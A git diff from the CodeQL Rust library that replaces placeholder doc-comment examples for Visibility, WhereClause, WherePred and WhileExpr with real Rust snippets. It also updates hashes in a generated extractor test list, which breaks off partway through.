a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll index ba397d4a5d2..0bffcca7b06 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Path */ module Generated { /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` * INTERNAL: Do not reference the `Generated::Visibility` class directly. * Use the subclass `Visibility`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll index 727af1be136..5b7080a7afa 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.WherePred */ module Generated { /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::WhereClause` class directly. * Use the subclass `WhereClause`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll index 6e68c7a25a6..cd835e33850 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::WherePred` class directly. * Use the subclass `WherePred`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll index fa4a4aee65c..b62e1256d61 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll @@ -16,9 +16,13 @@ import codeql.rust.elements.internal.LoopingExprImpl::Impl as LoopingExprImpl */ module Generated { /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` * INTERNAL: Do not reference the `Generated::WhileExpr` class directly. * Use the subclass `WhileExpr`, where the following predicates are available. diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list index 41076ea57ae..6fc2634396e 100644 --- a/rust/ql/test/extractor-tests/generated/.generated_tests.list +++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list @@ -1,11 +1,22 @@ -Abi/gen_abi.rs 5d2f6eccb2bab86080188be9700ab64a34fa6e8e8e7b08f65a5c97d1de0a900c 5d2f6eccb2bab86080188be9700ab64a34fa6e8e8e7b08f65a5c97d1de0a900c -ArgList/gen_arg_list.rs 569d0b9b0479de5453ae0f89e4f90e32b02ee84dfb3d815821d722ece6f75b64 569d0b9b0479de5453ae0f89e4f90e32b02ee84dfb3d815821d722ece6f75b64 +Abi/gen_abi.rs 817dffd17949dbd9e144163c73bbda50cb33a91bf1ca6ed60233216b81ee4770 817dffd17949dbd9e144163c73bbda50cb33a91bf1ca6ed60233216b81ee4770 +ArgList/gen_arg_list.rs 997959d661e34531ad42fc5cc214ed6bb2e318d91e94388ea94e245f5869d9a3 997959d661e34531ad42fc5cc214ed6bb2e318d91e94388ea94e245f5869d9a3 ArrayListExpr/gen_array_list_expr.rs 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 ArrayRepeatExpr/gen_array_repeat_expr.rs 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e -ArrayTypeRepr/gen_array_type_repr.rs 9cf7a12a6f7da3342db4ab65dfb5deefb1ef57398e2236fbb49d3280dad944ae 9cf7a12a6f7da3342db4ab65dfb5deefb1ef57398e2236fbb49d3280dad944ae +ArrayTypeRepr/gen_array_type_repr.rs 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e +AsmClobberAbi/gen_asm_clobber_abi.rs d4aa071ad5bbd693b6482e3ed20d04c3e575df689b7b660def13a76177d96796 d4aa071ad5bbd693b6482e3ed20d04c3e575df689b7b660def13a76177d96796 +AsmConst/gen_asm_const.rs ab5faeef4612f4c4898d4aacabd45c61accc3b0111920ed640abd3aa1fa38d72 ab5faeef4612f4c4898d4aacabd45c61accc3b0111920ed640abd3aa1fa38d72 +AsmDirSpec/gen_asm_dir_spec.rs 42a5fe5835440189bcad16c470e1faa1888e1770e6789d888919f06b08bb13b9 42a5fe5835440189bcad16c470e1faa1888e1770e6789d888919f06b08bb13b9 AsmExpr/gen_asm_expr.rs 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 -AssocTypeArg/gen_assoc_type_arg.rs 00ec0e22c4d73338de605dc3b1b1306bc83a95f87376ce976f08d2f9923cc2b4 00ec0e22c4d73338de605dc3b1b1306bc83a95f87376ce976f08d2f9923cc2b4 -Attr/gen_attr.rs cd6e50f5ebb17066209682b1a9f22ff116584ffef180d8ab51e2ba5cab6a91ec cd6e50f5ebb17066209682b1a9f22ff116584ffef180d8ab51e2ba5cab6a91ec +AsmLabel/gen_asm_label.rs 282c2d385796f35d4b306e9f8a98fb06e8a39cd1fbea27b276783eb5c28bde40 282c2d385796f35d4b306e9f8a98fb06e8a39cd1fbea27b276783eb5c28bde40 +AsmOperandExpr/gen_asm_operand_expr.rs 25e7537453eb0bbe9bf23aa95497dc507638656ca52ab287e01c304caee10d4d 25e7537453eb0bbe9bf23aa95497dc507638656ca52ab287e01c304caee10d4d +AsmOperandNamed/gen_asm_operand_named.rs 6496d9f1e0024bee168dd423545c89fbef6b3040ed61cce5ad31c48d8218323d 6496d9f1e0024bee168dd423545c89fbef6b3040ed61cce5ad31c48d8218323d +AsmOption/gen_asm_option.rs a3c3537d3ec320fd989d004133c8e544cb527c6ca5dd38fbf821cb8ad59478ae a3c3537d3ec320fd989d004133c8e544cb527c6ca5dd38fbf821cb8ad59478ae +AsmOptionsList/gen_asm_options_list.rs 0bd76fbbc68f464546fbcac549cd8d34f890ea35e4656afa4ca9f2238126b4ca 0bd76fbbc68f464546fbcac549cd8d34f890ea35e4656afa4ca9f2238126b4ca +AsmRegOperand/gen_asm_reg_operand.rs fec61325b834a006c3d734a3395e4332381d37324ba8853379384a936959eb41 fec61325b834a006c3d734a3395e4332381d37324ba8853379384a936959eb41 +AsmRegSpec/gen_asm_reg_spec.rs d4113dc15e5ca4523f46d64d17949885cb78341306d26d9a7bce5c2684d08ebd d4113dc15e5ca4523f46d64d17949885cb78341306d26d9a7bce5c2684d08ebd +AsmSym/gen_asm_sym.rs 655bd12f51eec1de83bd097e9ff98048aeba645b4061fdd9870c9986f3f4944b 655bd12f51eec1de83bd097e9ff98048aeba645b4061fdd9870c9986f3f4944b +AssocTypeArg/gen_assoc_type_arg.rs 476792f19a54e77be6ce588848de8d652a979e4d88edc9ff62221f0974d7421c 476792f19a54e77be6ce588848de8d652a979e4d88edc9ff62221f0974d7421c +Attr/gen_attr.rs ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 AwaitExpr/gen_await_expr.rs cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 BecomeExpr/gen_become_expr.rs ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c BinaryExpr/gen_binary_expr.rs 5ea68396dc2e3ff7fcaf5a5201636dd175dd45be36647b6ae0043c765ce24549 5ea68396dc2e3ff7fcaf5a5201636dd175dd45be36647b6ae0043c765ce24549 @@ -14,24 +25,24 @@ BoxPat/gen_box_pat.rs 1493e24b732370b577ade38c47db17fa157df19f5390606a67a6040e49 BreakExpr/gen_break_expr.rs aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 CallExpr/gen_call_expr.rs 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 CastExpr/gen_cast_expr.rs c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 -ClosureBinder/gen_closure_binder.rs 78d3219bdfc58a22f333e3c82468fc23001e92b1d5acb085de7f48d7d1722244 78d3219bdfc58a22f333e3c82468fc23001e92b1d5acb085de7f48d7d1722244 +ClosureBinder/gen_closure_binder.rs 1d6f9b45936bdf18a5a87decdf15bc5e477aabdd47bbc2c52d0de07e105600f9 1d6f9b45936bdf18a5a87decdf15bc5e477aabdd47bbc2c52d0de07e105600f9 ClosureExpr/gen_closure_expr.rs 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 Comment/gen_comment.rs 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 -Const/gen_const.rs fea9d399fe4036c55b94b419ecb1cbb3131248ae338c20d383080dd1ca30f274 fea9d399fe4036c55b94b419ecb1cbb3131248ae338c20d383080dd1ca30f274 -ConstArg/gen_const_arg.rs feab3cdbbc469a287884ff7605e9a7541f904e9e5bd1f14a8e0f741fa970dd7c feab3cdbbc469a287884ff7605e9a7541f904e9e5bd1f14a8e0f741fa970dd7c +Const/gen_const.rs a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f +ConstArg/gen_const_arg.rs 6a15d099c61ffa814e8e0e0fca2d8ff481d73ad81959064e0a214d3172a9d49e 6a15d099c61ffa814e8e0e0fca2d8ff481d73ad81959064e0a214d3172a9d49e ConstBlockPat/gen_const_block_pat.rs 7e3057cd24d22e752354369cf7e08e9536642812c0947b36aa5d8290a45476fd 7e3057cd24d22e752354369cf7e08e9536642812c0947b36aa5d8290a45476fd -ConstParam/gen_const_param.rs f0a4176333b9519b4cc2533a083f68f6859b5b0855d1b0dbcef4d4e206721830 f0a4176333b9519b4cc2533a083f68f6859b5b0855d1b0dbcef4d4e206721830 +ConstParam/gen_const_param.rs 71f22d907b0011dafc333f37635f0ee5b1eef2313b5a26cd2a21508a8e96c19a 71f22d907b0011dafc333f37635f0ee5b1eef2313b5a26cd2a21508a8e96c19a ContinueExpr/gen_continue_expr.rs 63840dcd8440aaf1b96b713b80eb2b56acb1639d3200b3c732b45291a071b5ff 63840dcd8440aaf1b96b713b80eb2b56acb1639d3200b3c732b45291a071b5ff -DynTraitTypeRepr/gen_dyn_trait_type_repr.rs ca6cb23c5996713121e3920652251c1c75136d31319558e366ef56941e9fe7de ca6cb23c5996713121e3920652251c1c75136d31319558e366ef56941e9fe7de -Enum/gen_enum.rs efa816c579bfba60d1f32f818b022956d08d397af508c82b7331f14615f25be4 efa816c579bfba60d1f32f818b022956d08d397af508c82b7331f14615f25be4 +DynTraitTypeRepr/gen_dyn_trait_type_repr.rs 1864f3900bdae6f4a0a428e0b2a1266b758dfa8f27059353a639612d8829f4dd 1864f3900bdae6f4a0a428e0b2a1266b758dfa8f27059353a639612d8829f4dd +Enum/gen_enum.rs 59c6dc0185c6b0dd877ce1b2291d3b8ab05041194b7bfc948e97baa4908605fa 59c6dc0185c6b0dd877ce1b2291d3b8ab05041194b7bfc948e97baa4908605fa ExprStmt/gen_expr_stmt.rs 6ce47428a8d33b902c1f14b06cc375d08eff95251e4a81dac2fa51872b7649b1 6ce47428a8d33b902c1f14b06cc375d08eff95251e4a81dac2fa51872b7649b1 -ExternBlock/gen_extern_block.rs 5b5c4d7a2c4a91027df1578b74900ae1b971aede7720ab12de9bb918c42a583d 5b5c4d7a2c4a91027df1578b74900ae1b971aede7720ab12de9bb918c42a583d -ExternCrate/gen_extern_crate.rs 9b3ab23a56b7778723ce436b25310547b2b0aeca3e5c6b7e61f273b5ce5573e3 9b3ab23a56b7778723ce436b25310547b2b0aeca3e5c6b7e61f273b5ce5573e3 -ExternItemList/gen_extern_item_list.rs ff2baaaa32099808b86fbf6f4853171146594d5db23c6ee447eb5cec10cee7cf ff2baaaa32099808b86fbf6f4853171146594d5db23c6ee447eb5cec10cee7cf +ExternBlock/gen_extern_block.rs 18c28123d50c31b7148475a2812d97226f75786083d5d2cf419117bacfe07687 18c28123d50c31b7148475a2812d97226f75786083d5d2cf419117bacfe07687 +ExternCrate/gen_extern_crate.rs 8d6bfd8d993a8e3a95ae9ccb576bd55be0c6a1d0893cfe15fa675174dbde9d7d 8d6bfd8d993a8e3a95ae9ccb576bd55be0c6a1d0893cfe15fa675174dbde9d7d +ExternItemList/gen_extern_item_list.rs f9a03ddf20387871b96994915c9a725feb333d061544c0fb6d2e6b1a1961d6ed f9a03ddf20387871b96994915c9a725feb333d061544c0fb6d2e6b1a1961d6ed FieldExpr/gen_field_expr.rs 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b -FnPtrTypeRepr/gen_fn_ptr_type_repr.rs 46af312570a9caec11e14ba05190e95e750c32565559f1622a132f7145320253 46af312570a9caec11e14ba05190e95e750c32565559f1622a132f7145320253 -ForExpr/gen_for_expr.rs 67decf3073e1a9363d9df05a5a64a6059349e50b81356f480f7aeb352189136d 67decf3073e1a9363d9df05a5a64a6059349e50b81356f480f7aeb352189136d -ForTypeRepr/gen_for_type_repr.rs 5108a5d63ce440305b92dd87387c22a0a57abfd19d88e03e1984e1537779f4a4 5108a5d63ce440305b92dd87387c22a0a57abfd19d88e03e1984e1537779f4a4 +FnPtrTypeRepr/gen_fn_ptr_type_repr.rs c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e +ForExpr/gen_for_expr.rs 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 +ForTypeRepr/gen_for_type_repr.rs d41db529dd031e96bf3de98091b67c11a89c99d86cb7b0f98097353c7ba00350 d41db529dd031e96bf3de98091b67c11a89c99d86cb7b0f98097353c7ba00350 FormatArgsExpr/gen_format.rs e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 FormatArgsExpr/gen_format_args_arg.rs 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f FormatArgsExpr/gen_format_args_expr.rs 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 @@ -41,103 +52,105 @@ GenericArgList/gen_generic_arg_list.rs cfb072d3b48f9dd568c23d4dfefba28766628678f GenericParamList/gen_generic_param_list.rs 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a IdentPat/gen_ident_pat.rs 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477 IfExpr/gen_if_expr.rs 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8 -Impl/gen_impl.rs dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed -ImplTraitTypeRepr/gen_impl_trait_type_repr.rs 3d8bc5bb967bcb3ff38bf0487411e2945a57b36aad43dedcad17de9c6bf717d5 3d8bc5bb967bcb3ff38bf0487411e2945a57b36aad43dedcad17de9c6bf717d5 +Impl/gen_impl.rs cfab33eb5e98b425b1d88be5f09f742be6c4f8d402e1becd4421aabb0431aadd cfab33eb5e98b425b1d88be5f09f742be6c4f8d402e1becd4421aabb0431aadd +ImplTraitTypeRepr/gen_impl_trait_type_repr.rs ebfa4d350ae5759bf7df6adf790d2d892c7a0d708f3340ccf3e12a681cb78f00 ebfa4d350ae5759bf7df6adf790d2d892c7a0d708f3340ccf3e12a681cb78f00 IndexExpr/gen_index_expr.rs 22d7f81ba43dc63f1f49e21a2c25ce25a1b8f6e8e95e1a66f518f010a4d73c61 22d7f81ba43dc63f1f49e21a2c25ce25a1b8f6e8e95e1a66f518f010a4d73c61 -InferTypeRepr/gen_infer_type_repr.rs 96f1b2d20319b031dde75b0bd612d4a4366315f2bc75590e5e422603f7a35541 96f1b2d20319b031dde75b0bd612d4a4366315f2bc75590e5e422603f7a35541 -ItemList/gen_item_list.rs 2ea6180e66de963627aabdaf64ce3c95c40cc7628d8734607ae2720bab857643 2ea6180e66de963627aabdaf64ce3c95c40cc7628d8734607ae2720bab857643 +InferTypeRepr/gen_infer_type_repr.rs cd50eaeffdf16e0e896b14b665590251a4d383c123502ed667d8b1f75000f559 cd50eaeffdf16e0e896b14b665590251a4d383c123502ed667d8b1f75000f559 +ItemList/gen_item_list.rs 5da9f631030568c80aa0b126369990070cebcd1805827a8077320d4bec789a4e 5da9f631030568c80aa0b126369990070cebcd1805827a8077320d4bec789a4e Label/gen_label.rs 0584f519f210f621d7ebc0cb8c95ce05db0795d6109c0d16866f8f699a28213c 0584f519f210f621d7ebc0cb8c95ce05db0795d6109c0d16866f8f699a28213c -LetElse/gen_let_else.rs 2cb09461b0ea48f666bd65a208663e64a874efadacb22764301871ea07956901 2cb09461b0ea48f666bd65a208663e64a874efadacb22764301871ea07956901 +LetElse/gen_let_else.rs 7e953f63a3602532c5b4a3362bbbaa24285de7f1ada0d70697e294a9cc3a555c 7e953f63a3602532c5b4a3362bbbaa24285de7f1ada0d70697e294a9cc3a555c LetExpr/gen_let_expr.rs 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 LetStmt/gen_let_stmt.rs 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb -Lifetime/gen_lifetime.rs 4f5c39d68e29ee4a351379ae9aa9c216f750b8858dac94d30928a348bee87a20 4f5c39d68e29ee4a351379ae9aa9c216f750b8858dac94d30928a348bee87a20 -LifetimeArg/gen_lifetime_arg.rs 95616e0dc445679761f4a60fe03247418b2c5979251413e309306b1c8fbf09de 95616e0dc445679761f4a60fe03247418b2c5979251413e309306b1c8fbf09de -LifetimeParam/gen_lifetime_param.rs 2caed50ce48360681271e4e89fde0d6d9076ebb9cd9c62fc4d43109cd873b31c 2caed50ce48360681271e4e89fde0d6d9076ebb9cd9c62fc4d43109cd873b31c +Lifetime/gen_lifetime.rs afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 +LifetimeArg/gen_lifetime_arg.rs 0dbbedbb81358bc96b6689028c32c161cf9bebe3c6c5727c3ad5e0c69814d37e 0dbbedbb81358bc96b6689028c32c161cf9bebe3c6c5727c3ad5e0c69814d37e +LifetimeParam/gen_lifetime_param.rs e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 LiteralExpr/gen_literal_expr.rs 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d LiteralPat/gen_literal_pat.rs a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 LoopExpr/gen_loop_expr.rs 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 MacroBlockExpr/gen_macro_block_expr.rs 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b -MacroCall/gen_macro_call.rs 139ef2c69323eea1a901e260d4e2acdd00b26f013b90c9344f48c6503ce29d79 139ef2c69323eea1a901e260d4e2acdd00b26f013b90c9344f48c6503ce29d79 -MacroDef/gen_macro_def.rs 17c5387fb464a60b4a4520d22b055ba35ff23e9fe431a18a33808ae02c4bbff5 17c5387fb464a60b4a4520d22b055ba35ff23e9fe431a18a33808ae02c4bbff5 -MacroExpr/gen_macro_expr.rs 3c23dc88fcc4bc8f97d9364d2f367671a0a5a63d07e52237d28204b64756dcdb 3c23dc88fcc4bc8f97d9364d2f367671a0a5a63d07e52237d28204b64756dcdb +MacroCall/gen_macro_call.rs 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b +MacroDef/gen_macro_def.rs 07052ad401fd96cc539968f33fc7fe8d92359185e33bf8a5ae10e230345e3a85 07052ad401fd96cc539968f33fc7fe8d92359185e33bf8a5ae10e230345e3a85 +MacroExpr/gen_macro_expr.rs 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 MacroItems/gen_macro_items.rs c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 -MacroPat/gen_macro_pat.rs b8041370598bd7fb26778d829a15c415c2078d69124f6af634ddeba13a114aa0 b8041370598bd7fb26778d829a15c415c2078d69124f6af634ddeba13a114aa0 -MacroRules/gen_macro_rules.rs 7e03b410f4669e422d3b4328f7aafdca2e286e5d951495dd69cee0d44cb793a9 7e03b410f4669e422d3b4328f7aafdca2e286e5d951495dd69cee0d44cb793a9 -MacroTypeRepr/gen_macro_type_repr.rs 03c15f1fd5af63821e49a125d236704c63889fe20a32f03f3ecf3e29b1cad9df 03c15f1fd5af63821e49a125d236704c63889fe20a32f03f3ecf3e29b1cad9df +MacroPat/gen_macro_pat.rs df275f17b7af1f1ad42c60a94ca0be9df7fbd3ffeaa4c0d3e8f54a00eed1e38d df275f17b7af1f1ad42c60a94ca0be9df7fbd3ffeaa4c0d3e8f54a00eed1e38d +MacroRules/gen_macro_rules.rs 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 +MacroTypeRepr/gen_macro_type_repr.rs 9c7661a8a724cffdccf61b21574eab7d988420044f12ae2e830ae4a90a85ef15 9c7661a8a724cffdccf61b21574eab7d988420044f12ae2e830ae4a90a85ef15 MatchArm/gen_match_arm.rs ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 -MatchArmList/gen_match_arm_list.rs dbf36444d371421a2b8768a188660dd45ed3b823fb1c56b90c1ba77f177d23d6 dbf36444d371421a2b8768a188660dd45ed3b823fb1c56b90c1ba77f177d23d6 +MatchArmList/gen_match_arm_list.rs 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 MatchExpr/gen_match_expr.rs 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 -MatchGuard/gen_match_guard.rs d2b4bd28bf175620383a01584171f641990136c5b3087a66b3261d11747573ff d2b4bd28bf175620383a01584171f641990136c5b3087a66b3261d11747573ff -Meta/gen_meta.rs e5c16b61f41a5fb5e4f83d4a7103ece0ff97656ac2e06d9040adc7101c6dbef2 e5c16b61f41a5fb5e4f83d4a7103ece0ff97656ac2e06d9040adc7101c6dbef2 +MatchGuard/gen_match_guard.rs f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a +Meta/gen_meta.rs 0d89c584d9ce0a36c3cf453642aa6bb2bb588c0d693fdf7ee565e73b082a9dd5 0d89c584d9ce0a36c3cf453642aa6bb2bb588c0d693fdf7ee565e73b082a9dd5 MethodCallExpr/gen_method_call_expr.rs f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d Module/gen_module.rs 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 -Name/gen_name.rs bbf5cff7da2400de554712ed66ff1e6370170ba988209b4e346bc053421df1ff bbf5cff7da2400de554712ed66ff1e6370170ba988209b4e346bc053421df1ff -NameRef/gen_name_ref.rs 41307c2f7ca82d28217129639e556bd4c91221cf3a4170250b313fd53b9e3f82 41307c2f7ca82d28217129639e556bd4c91221cf3a4170250b313fd53b9e3f82 -NeverTypeRepr/gen_never_type_repr.rs b9bf7cc4df2e5be4e85c0701b94ec189080db1dbc6e2c9ef0480c7f2f4b0fc17 b9bf7cc4df2e5be4e85c0701b94ec189080db1dbc6e2c9ef0480c7f2f4b0fc17 +Name/gen_name.rs 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 +NameRef/gen_name_ref.rs 74e7c112df2a764367792f51830561ee2f16777dd98098a5664869361f98c698 74e7c112df2a764367792f51830561ee2f16777dd98098a5664869361f98c698 +NeverTypeRepr/gen_never_type_repr.rs cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 OffsetOfExpr/gen_offset_of_expr.rs 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 OrPat/gen_or_pat.rs 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 Param/gen_param.rs 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 -ParamList/gen_param_list.rs ef2e83d0aed45b969fe78dd717e87ef3c1f848e6179cfb4dc3cb136f1836b998 ef2e83d0aed45b969fe78dd717e87ef3c1f848e6179cfb4dc3cb136f1836b998 -ParenExpr/gen_paren_expr.rs dd0c4a21a92e54e8a6151145e013cbec9c9e1cad093d572e293b4f51d6c44aea dd0c4a21a92e54e8a6151145e013cbec9c9e1cad093d572e293b4f51d6c44aea -ParenPat/gen_paren_pat.rs c8d18521b9a0b7d39841eb72e3895914aa652b7235dea42ed12a4eb280e3bf0e c8d18521b9a0b7d39841eb72e3895914aa652b7235dea42ed12a4eb280e3bf0e -ParenTypeRepr/gen_paren_type_repr.rs 360a9415390ab572cb10015603537823cc0451bb94ef487d04bbfd7d523bee95 360a9415390ab572cb10015603537823cc0451bb94ef487d04bbfd7d523bee95 +ParamList/gen_param_list.rs a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd +ParenExpr/gen_paren_expr.rs 58f59d66e833f1baeb0a61b4e8b5dc97680daad78bd0e90627f6dbb1ed0c62e0 